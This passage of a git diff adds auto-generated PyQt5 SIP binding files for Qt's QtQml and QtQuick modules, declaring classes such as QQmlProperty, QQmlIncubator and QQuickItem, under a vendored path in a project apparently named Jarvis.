const; + int columnNumber() const; + void setSourceLocation(const QString &fileName, int line, int column = 0); + QObject *scopeObject() const; + bool hasError() const; + void clearError(); + QQmlError error() const; + QVariant evaluate(bool *valueIsUndefined = 0) /ReleaseGIL/; + +signals: + void valueChanged(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlextensionplugin.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlextensionplugin.sip new file mode 100644 index 00000000..b4000d39 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlextensionplugin.sip @@ -0,0 +1,53 @@ +// qqmlextensionplugin.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlExtensionPlugin : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QQmlExtensionPlugin(QObject *parent /TransferThis/ = 0); + virtual ~QQmlExtensionPlugin(); + virtual void registerTypes(const char *uri) = 0; + virtual void initializeEngine(QQmlEngine *engine, const char *uri); +%If (Qt_5_1_0 -) + QUrl baseUrl() const; +%End +}; + +%If (Qt_5_15_0 -) + +class QQmlEngineExtensionPlugin : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QQmlEngineExtensionPlugin(QObject *parent /TransferThis/ = 0); + virtual ~QQmlEngineExtensionPlugin(); + virtual void initializeEngine(QQmlEngine *engine, const char *uri); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlfileselector.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlfileselector.sip new file mode 100644 index 00000000..e44cc811 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlfileselector.sip @@ -0,0 +1,47 @@ +// qqmlfileselector.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QQmlFileSelector : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQmlFileSelector(QQmlEngine *engine, QObject *parent /TransferThis/ = 0); + virtual ~QQmlFileSelector(); + void setSelector(QFileSelector *selector); +%If (Qt_5_4_0 -) + void setExtraSelectors(const QStringList &strings); +%End +%If (- Qt_5_4_0) + void setExtraSelectors(QStringList &strings); +%End + static QQmlFileSelector *get(QQmlEngine *); +%If (Qt_5_7_0 -) + QFileSelector *selector() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlincubator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlincubator.sip new file mode 100644 index 00000000..bb71f2dc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlincubator.sip @@ -0,0 +1,87 @@ +// qqmlincubator.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlIncubator +{ +%TypeHeaderCode +#include +%End + +public: + enum IncubationMode + { + Asynchronous, + AsynchronousIfNested, + Synchronous, + }; + + enum Status + { + Null, + Ready, + Loading, + Error, + }; + + QQmlIncubator(QQmlIncubator::IncubationMode mode = QQmlIncubator::Asynchronous); + virtual ~QQmlIncubator(); + void clear(); + void forceCompletion(); + bool isNull() const; + bool isReady() const; + bool isError() const; + bool isLoading() const; + QList errors() const; + QQmlIncubator::IncubationMode incubationMode() const; + QQmlIncubator::Status status() const; + QObject *object() const /Factory/; +%If (Qt_5_15_0 -) + void setInitialProperties(const QVariantMap &initialProperties); +%End + +protected: + virtual void statusChanged(QQmlIncubator::Status); + virtual void setInitialState(QObject *); + +private: + QQmlIncubator(const QQmlIncubator &); +}; + +class QQmlIncubationController +{ +%TypeHeaderCode +#include +%End + +public: + QQmlIncubationController(); + virtual ~QQmlIncubationController(); + QQmlEngine *engine() const; + int incubatingObjectCount() const; + void incubateFor(int msecs) /ReleaseGIL/; + +protected: + virtual void incubatingObjectCountChanged(int); + +private: + QQmlIncubationController(const QQmlIncubationController &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmllist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmllist.sip new file mode 100644 index 00000000..5662200b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmllist.sip @@ -0,0 +1,59 @@ +// qqmllist.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlListReference +{ +%TypeHeaderCode +#include +%End + +public: + QQmlListReference(); + QQmlListReference(QObject *, const char *property, QQmlEngine *engine = 0); + QQmlListReference(const QQmlListReference &); + ~QQmlListReference(); + bool isValid() const; + QObject *object() const; + const QMetaObject *listElementType() const; + bool canAppend() const; + bool canAt() const; + bool canClear() const; + bool canCount() const; + bool isManipulable() const; + bool isReadable() const; + bool append(QObject *) const; + QObject *at(int) const; + bool clear() const; + int count() const; +%If (Qt_5_15_0 -) + bool canReplace() const; +%End +%If (Qt_5_15_0 -) + bool canRemoveLast() const; +%End +%If (Qt_5_15_0 -) + bool replace(int, QObject *) const; +%End +%If (Qt_5_15_0 -) + bool removeLast() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlnetworkaccessmanagerfactory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlnetworkaccessmanagerfactory.sip new file mode 100644 index 00000000..38dd73be --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlnetworkaccessmanagerfactory.sip @@ -0,0 +1,32 @@ +// qqmlnetworkaccessmanagerfactory.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlNetworkAccessManagerFactory +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QQmlNetworkAccessManagerFactory(); + virtual QNetworkAccessManager *create(QObject *parent) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlparserstatus.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlparserstatus.sip new file mode 100644 index 00000000..f2a22276 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlparserstatus.sip @@ -0,0 +1,34 @@ +// qqmlparserstatus.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlParserStatus /Mixin,PyQtInterface="org.qt-project.Qt.QQmlParserStatus"/ +{ +%TypeHeaderCode +#include +%End + +public: + QQmlParserStatus(); + virtual ~QQmlParserStatus(); + virtual void classBegin() = 0; + virtual void componentComplete() = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlproperty.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlproperty.sip new file mode 100644 index 00000000..77be711f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlproperty.sip @@ -0,0 +1,121 @@ +// qqmlproperty.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlProperty +{ +%TypeHeaderCode +#include +%End + +public: + enum PropertyTypeCategory + { + InvalidCategory, + List, + Object, + Normal, + }; + + enum Type + { + Invalid, + Property, + SignalProperty, + }; + + QQmlProperty(); + QQmlProperty(QObject *); + QQmlProperty(QObject *, QQmlContext *); + QQmlProperty(QObject *, QQmlEngine *); + QQmlProperty(QObject *, const QString &); + QQmlProperty(QObject *, const QString &, QQmlContext *); + QQmlProperty(QObject *, const QString &, QQmlEngine *); + QQmlProperty(const QQmlProperty &); + ~QQmlProperty(); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + bool operator==(const QQmlProperty &) const; + QQmlProperty::Type type() const; + bool isValid() const; + bool isProperty() const; + bool isSignalProperty() const; + int propertyType() const; + QQmlProperty::PropertyTypeCategory propertyTypeCategory() const; + const char *propertyTypeName() const; + QString name() const; + QVariant read() const; + static QVariant read(const QObject *, const QString &); + static QVariant read(const QObject *, const QString &, QQmlContext *); + static QVariant read(const QObject *, const QString &, QQmlEngine *); + bool write(const QVariant &) const; + static bool write(QObject *, const QString &, const QVariant &); + static bool write(QObject *, const QString &, const QVariant &, QQmlContext *); + static bool write(QObject *, const QString &, const QVariant &, QQmlEngine *); + bool reset() const; + bool hasNotifySignal() const; + bool needsNotifySignal() const; + bool connectNotifySignal(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) const; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtqml_get_connection_parts(a0, 0, "()", false, &receiver, slot)) == sipErrorNone) + { + sipRes = sipCpp->connectNotifySignal(receiver, slot.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + bool connectNotifySignal(QObject *dest, int method) const; + bool isWritable() const; + bool isDesignable() const; + bool isResettable() const; + QObject *object() const; + int index() const; + QMetaProperty property() const; + QMetaMethod method() const; +}; + +typedef QList QQmlProperties; + +%ModuleHeaderCode +// Imports from QtCore. +typedef sipErrorState (*pyqt5_qtqml_get_connection_parts_t)(PyObject *, QObject *, const char *, bool, QObject **, QByteArray &); +extern pyqt5_qtqml_get_connection_parts_t pyqt5_qtqml_get_connection_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtqml_get_connection_parts_t pyqt5_qtqml_get_connection_parts; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtqml_get_connection_parts = (pyqt5_qtqml_get_connection_parts_t)sipImportSymbol("pyqt5_get_connection_parts"); +Q_ASSERT(pyqt5_qtqml_get_connection_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertymap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertymap.sip new file mode 100644 index 00000000..01d53cd4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertymap.sip @@ -0,0 +1,47 @@ +// qqmlpropertymap.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlPropertyMap : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QQmlPropertyMap(QObject *parent /TransferThis/ = 0); + virtual ~QQmlPropertyMap(); + QVariant value(const QString &key) const; + void insert(const QString &key, const QVariant &value); + void clear(const QString &key); + QStringList keys() const; + int count() const; + int size() const /__len__/; + bool isEmpty() const; + bool contains(const QString &key) const; + QVariant operator[](const QString &key) const; + +signals: + void valueChanged(const QString &key, const QVariant &value); + +protected: + virtual QVariant updateValue(const QString &key, const QVariant &input); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertyvaluesource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertyvaluesource.sip new file mode 100644 index 00000000..31249c21 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlpropertyvaluesource.sip @@ -0,0 +1,33 @@ +// qqmlpropertyvaluesource.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlPropertyValueSource /Mixin,PyQtInterface="org.qt-project.Qt.QQmlPropertyValueSource"/ +{ +%TypeHeaderCode +#include +%End + +public: + QQmlPropertyValueSource(); + virtual ~QQmlPropertyValueSource(); + virtual void setTarget(const QQmlProperty &) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlscriptstring.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlscriptstring.sip new file mode 100644 index 00000000..6ce6634a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlscriptstring.sip @@ -0,0 +1,45 @@ +// qqmlscriptstring.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlScriptString +{ +%TypeHeaderCode +#include +%End + +public: + QQmlScriptString(); + QQmlScriptString(const QQmlScriptString &); + ~QQmlScriptString(); + bool isEmpty() const; + bool isUndefinedLiteral() const; + bool isNullLiteral() const; + QString stringLiteral() const; + qreal numberLiteral(bool *ok) const; + bool booleanLiteral(bool *ok) const; +%If (Qt_5_4_0 -) + bool operator==(const QQmlScriptString &) const; +%End +%If (Qt_5_4_0 -) + bool operator!=(const QQmlScriptString &) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuick.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuick.toml new file mode 100644 index 00000000..8d05f7c7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuick.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtQuick. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuickmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuickmod.sip new file mode 100644 index 00000000..569d359f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/QtQuickmod.sip @@ -0,0 +1,75 @@ +// QtQuickmod.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtQuick, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtQml/QtQmlmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qquickframebufferobject.sip +%Include qquickimageprovider.sip +%Include qquickitem.sip +%Include qquickitemgrabresult.sip +%Include qquickpainteditem.sip +%Include qquickrendercontrol.sip +%Include qquicktextdocument.sip +%Include qquickview.sip +%Include qquickwindow.sip +%Include qsgabstractrenderer.sip +%Include qsgengine.sip +%Include qsgflatcolormaterial.sip +%Include qsggeometry.sip +%Include qsgimagenode.sip +%Include qsgmaterial.sip +%Include qsgmaterialrhishader.sip +%Include qsgnode.sip +%Include qsgrectanglenode.sip +%Include qsgrendererinterface.sip +%Include qsgrendernode.sip +%Include qsgsimplerectnode.sip +%Include qsgsimpletexturenode.sip +%Include qsgtexture.sip +%Include qsgtexturematerial.sip +%Include qsgtextureprovider.sip +%Include qsgvertexcolormaterial.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickframebufferobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickframebufferobject.sip new file mode 100644 index 00000000..c4dd6ae7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickframebufferobject.sip @@ -0,0 +1,88 @@ +// qquickframebufferobject.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QQuickFramebufferObject : QQuickItem /ExportDerived/ +{ +%TypeHeaderCode +#include +%End + +public: + class Renderer /Supertype=sip.wrapper/ + { +%TypeHeaderCode +#include +%End + + protected: + Renderer(); + virtual ~Renderer(); + virtual void render() = 0; +%If (PyQt_OpenGL) + virtual QOpenGLFramebufferObject *createFramebufferObject(const QSize &size); +%End + virtual void synchronize(QQuickFramebufferObject *); +%If (PyQt_OpenGL) + QOpenGLFramebufferObject *framebufferObject() const; +%End + void update(); + void invalidateFramebufferObject(); + }; + + QQuickFramebufferObject(QQuickItem *parent /TransferThis/ = 0); + bool textureFollowsItemSize() const; + void setTextureFollowsItemSize(bool follows); + virtual QQuickFramebufferObject::Renderer *createRenderer() const = 0 /Factory/; + +protected: + virtual void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry); + virtual QSGNode *updatePaintNode(QSGNode *, QQuickItem::UpdatePaintNodeData *); + +signals: + void textureFollowsItemSizeChanged(bool); + +public: +%If (Qt_5_4_0 -) + virtual bool isTextureProvider() const; +%End +%If (Qt_5_4_0 -) + virtual QSGTextureProvider *textureProvider() const; +%End +%If (Qt_5_4_0 -) + virtual void releaseResources(); +%End +%If (Qt_5_6_0 -) + bool mirrorVertically() const; +%End +%If (Qt_5_6_0 -) + void setMirrorVertically(bool enable); +%End + +signals: +%If (Qt_5_6_0 -) + void mirrorVerticallyChanged(bool); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickimageprovider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickimageprovider.sip new file mode 100644 index 00000000..67625938 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickimageprovider.sip @@ -0,0 +1,93 @@ +// qquickimageprovider.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQuickTextureFactory : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQuickTextureFactory(); + virtual ~QQuickTextureFactory(); + virtual QSGTexture *createTexture(QQuickWindow *window) const = 0 /Factory/; + virtual QSize textureSize() const = 0; + virtual int textureByteCount() const = 0; + virtual QImage image() const; +%If (Qt_5_6_0 -) + static QQuickTextureFactory *textureFactoryForImage(const QImage &image) /Factory/; +%End +}; + +class QQuickImageProvider : QQmlImageProviderBase +{ +%TypeHeaderCode +#include +%End + +public: + QQuickImageProvider(QQmlImageProviderBase::ImageType type, QQmlImageProviderBase::Flags flags = QQmlImageProviderBase::Flags()); + virtual ~QQuickImageProvider(); + virtual QQmlImageProviderBase::ImageType imageType() const; + virtual QQmlImageProviderBase::Flags flags() const; + virtual QImage requestImage(const QString &id, QSize *size /Out/, const QSize &requestedSize); + virtual QPixmap requestPixmap(const QString &id, QSize *size /Out/, const QSize &requestedSize); + virtual QQuickTextureFactory *requestTexture(const QString &id, QSize *size /Out/, const QSize &requestedSize) /Factory/; +}; + +%If (Qt_5_6_0 -) + +class QQuickImageResponse : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQuickImageResponse(); + virtual ~QQuickImageResponse(); + virtual QQuickTextureFactory *textureFactory() const = 0 /Factory/; + virtual QString errorString() const; + +public slots: + virtual void cancel(); + +signals: + void finished(); +}; + +%End +%If (Qt_5_6_0 -) + +class QQuickAsyncImageProvider : QQuickImageProvider +{ +%TypeHeaderCode +#include +%End + +public: + QQuickAsyncImageProvider(); + virtual ~QQuickAsyncImageProvider(); + virtual QQuickImageResponse *requestImageResponse(const QString &id, const QSize &requestedSize) = 0 /Factory/; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitem.sip new file mode 100644 index 00000000..38513d04 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitem.sip @@ -0,0 +1,324 @@ +// qquickitem.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQuickItem : QObject, QQmlParserStatus /ExportDerived/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Flag + { + ItemClipsChildrenToShape, + ItemAcceptsInputMethod, + ItemIsFocusScope, + ItemHasContents, + ItemAcceptsDrops, + }; + + typedef QFlags Flags; + + enum ItemChange + { + ItemChildAddedChange, + ItemChildRemovedChange, + ItemSceneChange, + ItemVisibleHasChanged, + ItemParentHasChanged, + ItemOpacityHasChanged, + ItemActiveFocusHasChanged, + ItemRotationHasChanged, +%If (Qt_5_3_0 -) + ItemAntialiasingHasChanged, +%End +%If (Qt_5_6_0 -) + ItemDevicePixelRatioHasChanged, +%End +%If (Qt_5_10_0 -) + ItemEnabledHasChanged, +%End + }; + + struct ItemChangeData + { +%TypeHeaderCode +#include +%End + + ItemChangeData(QQuickItem *v); + ItemChangeData(QQuickWindow *v); + ItemChangeData(qreal v /Constrained/); + ItemChangeData(bool v /Constrained/); + QQuickItem *item; + QQuickWindow *window; + qreal realValue; + bool boolValue; + }; + + enum TransformOrigin + { + TopLeft, + Top, + TopRight, + Left, + Center, + Right, + BottomLeft, + Bottom, + BottomRight, + }; + +%If (Qt_5_6_1 -) + explicit QQuickItem(QQuickItem *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QQuickItem(QQuickItem *parent /TransferThis/ = 0); +%End + virtual ~QQuickItem(); + QQuickWindow *window() const; + QQuickItem *parentItem() const; + void setParentItem(QQuickItem *parent); + void stackBefore(const QQuickItem *); + void stackAfter(const QQuickItem *); + QRectF childrenRect(); + QList childItems() const; + bool clip() const; + void setClip(bool); + QString state() const; + void setState(const QString &); + qreal baselineOffset() const; + void setBaselineOffset(qreal); + qreal x() const; + qreal y() 